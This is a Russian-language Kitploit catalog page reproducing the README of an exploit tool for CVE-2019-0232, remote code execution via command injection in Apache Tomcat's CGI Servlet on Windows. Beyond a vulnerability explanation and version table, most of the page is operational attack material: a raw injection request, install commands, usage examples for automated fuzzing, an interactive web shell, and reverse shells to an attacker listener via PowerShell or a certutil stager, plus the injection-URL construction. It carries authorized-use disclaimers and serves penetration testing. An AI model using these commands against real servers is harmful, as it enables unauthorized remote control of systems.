Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
Инструменты/GitHubGitHub/blackjuker2/cve-2019-0232
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияШелл-кодЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

12 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-0232 — Удаленное выполнение кода в CGI-сервлете Apache Tomcat

Образовательный PoC только для авторизованных CTF / тестов на проникновение.
Запуск этого инструмента против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения на тестирование, является незаконным.


Описание уязвимости

CVE-2019-0232 — это уязвимость удаленного выполнения кода в Apache Tomcat на Windows.
Когда в CGI-сервлете установлено enableCmdLineArguments=true (по умолчанию в Windows до исправления), Tomcat передает строку HTTP-запроса непосредственно в качестве аргументов командной строки CGI-пакетному файлу через Runtime.exec(). В Windows Runtime.exec() оборачивает вызов в cmd.exe /c, что делает разделитель команд & активным внутри этих аргументов.

Злоумышленник может внедрить вторую команду ОС, включив & (URL-кодированный как %26) в URL:

Скачать инструмент
root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits

Уязвимые версии (только Windows)

ВеткаУязвимый диапазонИсправлено в
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

Требование: enableCmdLineArguments=true в conf/web.xml (по умолчанию в Windows до исправления).


Возможности

  • Автоматический режим — полная цепочка: перебор → фаззинг CGI-путей → интерактивная оболочка
  • Определение версии — определяет версию Tomcat по HTTP-заголовкам и страницам ошибок
  • Фаззер CGI-путей — многопоточный, встроенный словарь + опциональный пользовательский словарь (-w)
  • Одиночная команда — выполнить одну команду и вывести результат (--cmd)
  • Интерактивная HTTP-оболочка — цикл REPL через HTTP, каждая команда — новый запрос
  • Обратная оболочка — встроенный TCP-слушатель
    • PowerShell-полезная нагрузка в кодировке Base64 (по умолчанию)
    • Стейджер certutil (запасной вариант)
  • Внедрение PATH — автоматически устанавливает System32, Windows, Wbem, PowerShell, так что whoami, ipconfig, netstat, powershell.exe работают без полных путей
  • Объединение stderr — 2>&1 добавляется автоматически, чтобы вывод ошибок был виден
  • Поддержка прокси Burp — маршрутизация трафика через --proxy http://127.0.0.1:8080

Установка

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Требуется Python 3.8+.


Использование

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

Режимы

ФлагОписание
--autoПеребор → фаззинг → вход в интерактивную оболочку
--enumТолько перебор версии Tomcat и CGI-путей
--fuzzФаззинг доступных конечных точек .bat/.cmd
--cmd COMMANDВыполнить одну команду
--interactiveЦикл интерактивной HTTP-оболочки
--reverse-shellЗапустить обратную оболочку (требуется --lhost)

Примеры

Автоматический режим — скрипт найдет все сам:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

Одиночная команда на известной конечной точке:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

Цикл интерактивной оболочки:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

Полная автоматическая цепочка → обратная оболочка (отдельный nc не нужен):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

Скрипт открывает собственный TCP-слушатель на --lport, отправляет PowerShell-полезную нагрузку и помещает вас в интерактивную оболочку, когда цель возвращает соединение.

Обратная оболочка PowerShell на известном пути:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

Стейджер certutil (если PowerShell заблокирован):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

Пользовательский словарь для фаззинга:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

Записи без расширения файла автоматически проверяются как .bat, так и .cmd.

Маршрутизация через Burp Suite:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

Показывать исходный URL инъекции перед каждым запросом:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

Все опции

root@kitploit:~
positional / required:
  -t, --target URL        Базовый URL цели, например http://10.10.10.x:8080

path:
  -p, --path PATH         Известный путь CGI-скрипта, например /cgi/cmd.bat

modes:
  --auto                  Полная цепочка: перебор → фаззинг → интерактив
  --enum                  Перебор версии Tomcat и CGI-путей
  --fuzz                  Фаззинг доступных конечных точек CGI-скриптов
  --cmd COMMAND           Выполнить одну команду и вывести результат
  --interactive           Интерактивный цикл команд (HTTP-оболочка)
  --reverse-shell         Отправить обратную оболочку PowerShell

reverse shell:
  --lhost IP              Ваш IP слушателя (используйте tun0 для HTB/OSCP)
  --lport PORT            Ваш порт слушателя (по умолчанию: 4444)
  --shell-method {ps,certutil}
                          Тип полезной нагрузки: ps (по умолчанию) или стейджер certutil

options:
  -w, --wordlist FILE     Дополнительные имена CGI для фаззинга (по одному на строку)
  --threads N             Потоки фаззинга (по умолчанию: 15)
  --timeout N             Таймаут HTTP в секундах (по умолчанию: 10)
  --proxy URL             HTTP прокси, например http://127.0.0.1:8080
  --no-ssl-verify         Отключить проверку сертификата TLS
  --show-url              Выводить полный URL инъекции перед каждым запросом

Как работает инъекция

Скрипт формирует URL инъекции в три шага:

  1. Внедрение PATH — оборачивает вашу команду в группу, которая сначала устанавливает PATH:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    echo. выводит пустую строку, удовлетворяя парсеру CGI-заголовков Tomcat, чтобы тело ответа было видно.

  2. URL-кодирование — пробелы становятся +, специальные символы становятся %XX через urllib.parse.quote.

  3. Точка инъекции — закодированная группа помещается после %26 (разделитель &):

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

Протестировано на

  • Apache Tomcat 9.0.17 на Windows Server 2019
  • Python 3.11 / 3.12 на Kali Linux

Ссылки

  • NVD — CVE-2019-0232
  • Консультация по безопасности Apache
  • Exploit-DB #47073

Правовое предупреждение

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
Всегда получайте явное письменное разрешение перед тестированием любой системы.